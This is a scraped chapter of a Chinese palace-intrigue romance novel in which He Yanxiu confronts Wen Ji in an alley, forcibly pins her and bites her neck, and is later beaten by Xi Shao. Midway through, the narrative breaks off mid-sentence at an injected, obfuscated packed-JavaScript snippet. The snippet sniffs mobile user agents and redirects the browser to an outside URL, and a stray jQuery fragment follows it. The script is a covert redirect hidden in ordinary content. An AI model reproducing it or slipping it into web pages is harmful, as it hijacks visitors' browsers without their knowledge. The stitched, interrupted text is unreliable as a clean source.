沉默了片刻,温寂的声音在寂静中响起,“太子失事,我见你没去南川,猜测是不是途中生了什么变故。”
贺彦修掀了掀眼皮,“我知道了四皇子一个秘密,眼下暂时不能现身。”
温寂心中想自己猜的没错,她便也不再和贺彦修绕弯,抬眼看他,“与南川的事有关,是不是?”
“嗯。”
温寂道,“我们合作如何。”
巷子幽深,身后的墙角爬满了青苔,贺彦修站在斑驳的砖墙底下,面色因疲倦显得有些苍白。
他的目光在她脸上逡巡片刻,才慢悠悠道,“你想用什么合作?”
温寂觉得贺彦修的态度有些怪,但还是道,“比过太子能给你的机会。丞相愿意推你进御史台。你帮我把这个案子查下去,推四皇子倒台。”
贺彦修眼神落在她身上,眉头一挑,道,“我不要这个。”
他向前踏了一步,声音带着一点若有若无的嘲意,“你无非是需要一个马前卒,温寂,要为你卖命总要有些好处。”
他的指尖朝她的脸颊探去,被温寂抬手止住,道,“昔日前朝肃宁公主面首三千,你既然那么热衷权术,为何不也尝尝乐趣,多一两个入幕之宾?”
“我可以做外面那一个,我的容貌总能入得了你的眼。”
他从前那么狰狞的脸她都能吻下去,如今总不至于觉得恶心。
他眼神显得落寞,身上皂角的味道冲入鼻腔,温寂退后一步,并不想听他这种卑微的语气,轻声道,“待你功成名就,自有大把贵女为你倾心。”
贺彦修却没再逼近,他凝视着她,“你真的不会再爱我了吗?”
他声音可怜,温寂侧过头,默然未答。
贺彦修看着她的侧脸,心中痛的发苦,眼中一抹幽暗一闪而过,忽然又问,“我只问你,你是不是早就知道太子身世。”
温寂一怔,太子身世并未公开,若贺彦修察觉风声,他应该在太子出事之前就表露出来。
温寂抬眸看他,“太子什么身世?”
贺彦修却没在意她的伪装,低着头靠近,他声音有些哑,“你从一开始就知道,那时候我向你求和,你一定觉得很可笑对不对,丢掉了爱人,然后又走上了一条不归路,最后像个丑角一样竹篮打水一场空。”
他语气幽幽,“你早知道我走上了一条死路。”
温寂本被戳中一些恻隐之心,此时又觉得他这倒打一耙的本领见长,“是你不愿意选择,我没有提醒你的义务。”
贺彦修扯了扯嘴角,“所以你承认了?”
“你还真是狠心,明明是死局,还让你姐姐跳进去。也难怪二皇子那样的草包一个也能让你忠心耿耿,毕竟挟天子以令诸侯这样的事自古以来都是桩好买卖。”
温寂被他诈出了实情,一时竟也没有太多懊恼,尘埃已定,不论实话还是谎言的代价她都可以承受。再者他此刻正需择新主,看到的筹码越多才越能促进他权衡。
如果睡上两次能换取他的忠心未尝不可。但感情并不是她擅长的东西,这人就像闻着腥味的狼,一旦给了他一点甜头他就会想要更多,她控制不了。
她客观陈述,“贺彦修,和我合作,如今是你最好的一条路。”
贺彦修看她这副表情,从知道真相的那一刻起就一直盘桓在脑中的怒气便再也抑制不住。他猛地伸手,用力攥住她,咬牙切齿道,“温寂,你是不是以为我这样的人永远都会利益为上。”
“你有没有心?”
那墙角堆着一块粗砺的大石,贺彦修陡然发力,抓着她的手臂半拉半拽将她扯了上去。
“你干什么,你—”
温寂的声音被他的动作打断。他扳着她的肩迫使她转身,看着墙后不远处一个荒废的院子道,“平心而论,你真的想过和我在一起吗?”
温寂真的受够了他每次都要把他那点野心找个深情的理由,也被他弄出了点火气,“你放开,先离开的人不是我。”
贺彦修却陡然将她压在砖墙上,冷笑道,
“是,直到如今你还翻来覆去的说这一句话。”
“你是丞相的小姐,我在你这里天生就低你一头,你和我在一起永远都游刃有余,你不会担心我抛弃你,因为除了感情,什么东西我都是高攀。”
“我所有的生活你都见过,你想见我随时都可以驾临。而我想见你却连丞相府下人的门都不能接近,你防着我和你身边的所有人接触,我在你眼里和一个养在外面的娼妓有什么区别?”
温寂被他震住,一时竟然有些理亏,她不想让他见到温棋语,但事实上他最后见到了不也是把她抛弃了吗?
“我想要和你在一起,就必须拼命向上爬,难道我不想和郗绍那样的人一样,不用担心饥饿冷暖,受良师教导?若想娶你只需让靖国公提个亲?”
他眼底泛开血丝,带着阴恻恻的酸意,冷嘲道,“你那衣服是做给郗绍的?你什么时候变得像我一样廉价了,他不也是连个名分都不愿意给你吗?”
他的脸近在咫尺,眸色阴暗,盯着她时爱意与怨念交织,漫出些森森然的鬼气,温寂背上抵着冰冷的墙,面前是他灼乱的气息,忽然觉得被一股烦躁淹没。
她偏过头,推了他一把,“你放开我。”
贺彦修被她推的踉跄,反应过来却又迅疾的扑回来。他禁锢她的身体,猝不及防的,竟低头狠狠一口咬在了她的脖子上。
滚烫的唇舌连绵的啃食过她的皮肤,温寂后脑磕在坚硬的墙面上,闷响一声。她皱眉,一直隐藏的暗卫终于出现,贺彦修臂上吃痛,力道一松,就被温寂趁机奋力从那石头上推了下去。
男人仰面栽倒在地上,痛得眉头紧皱,蜷缩成一团。
大概是得了示意,暗卫并没有用多大力气,温寂跳下石头,伸手摸了摸脖子,指尖沾上一点粘腻。
她裙角落在男人手边,垂眸看着地上的人。
“你冷静没有?”
顿了顿,本已经收回念头,终究还是被一点说不出来的心思占据,淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336663|186864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声道,“再怎么说,那些事情都过去了。我给你三天时间,你若想好了就到之前的茶馆来找我。”
……
巷口。
晏明诚跟着郗绍进了城西这片错综复杂的巷子。郗绍暂时罢值,晏父是靖国公手下,便让他跟着郗绍一同处理些琐事。这地方偏僻,原是一些三教九流之所,鱼龙混杂,空气里浮动着一股发霉的灰尘味道。
走着走着,前方拐角处突然钻出一个捂着脖子的女郎。
晏明诚定睛一看,讶异道,“温二小姐?”
她怎么会出现在这种偏僻地方?
就见温寂抬起头,向他们这边看了一眼,视线扫过郗绍时如同无物,朝着他随意的一颔首便向外走去。晏明诚下意识看向身侧的郗绍,似乎也很平静。
晏明诚心里正觉得奇怪,还未来得及多想,巷子深处又跟出来一个人。
那人从阴影里走出来,一张俊美的脸,可那粗布衣服却已经脏污,看着狼狈不堪。
这不是贺彦修吗?怎么看上去像个跟踪良家女子的歹人。
三人一相遇,气氛顿时有些不对起来。
晏明诚怀疑这一前一后的两人是闹了什么矛盾,只温寂好歹也是温大小姐的妹妹,贺彦修这样子又实在是有些不良,正准备问上两句,身侧的郗绍便已上前一步,拦住了贺彦修要跟上温寂的去路。
“贺公子。”
贺彦修对郗绍早已是恨之入骨。此时见他挡住自己,又想起温寂每一次都是抛下自己去选择郗绍,嫉妒和不甘翻涌,心中好似被刀剜过。他掀起眼帘,没有说话,一拳便向人挥了过去。
即使他骤然发难,可他再是力气活做的够多,也不可能是一个自幼习武的人的对手。
郗绍侧身一闪,那拳头便落了空。他顺势一挡,就只听见砰的一声闷响,贺彦修的身体重重撞在身后的砖墙上,尘土簌簌落下。
温寂被这声响惊得回头。只见贺彦修一手扶着墙壁,面色显得有些妖异的苍白,他看了她一眼,起身又再一次向着郗绍挥去。
郗绍将他神情看在眼里,眼里闪过一丝戾气,对他这种摇尾乞怜的行为不耻,力气用了个十成十。
这一次,他甚至还未近身,便被郗绍一拳击倒在地,一下子吐出一口血来。
温寂整个人定在了原地。
她掩着脖颈的手慢慢垂落下来。一阵凉风从巷口灌进来,将她的轻薄的裙裾吹得贴在她身上。
贺彦修烂泥一般倒在地上,衣襟沾着血迹,而郗绍站在不远处,姿态高贵,神色平静,依然是那种沉静的样子,甚至连衣角都没有乱一分。
沉静一向是强大者的象征。
上位者稳重,而下位者惶急。
筹码多者不好赌,富有者不忧心升斗米钱,武功高者不屑弱者寻衅,满溺爱者不计较真心几分。
这里站着的人光鲜亮丽,躺在地上一身狼藉。
即使明知贺彦修此刻的惨状也许掺杂着算计,温寂也听到一道坚冰裂开的声音。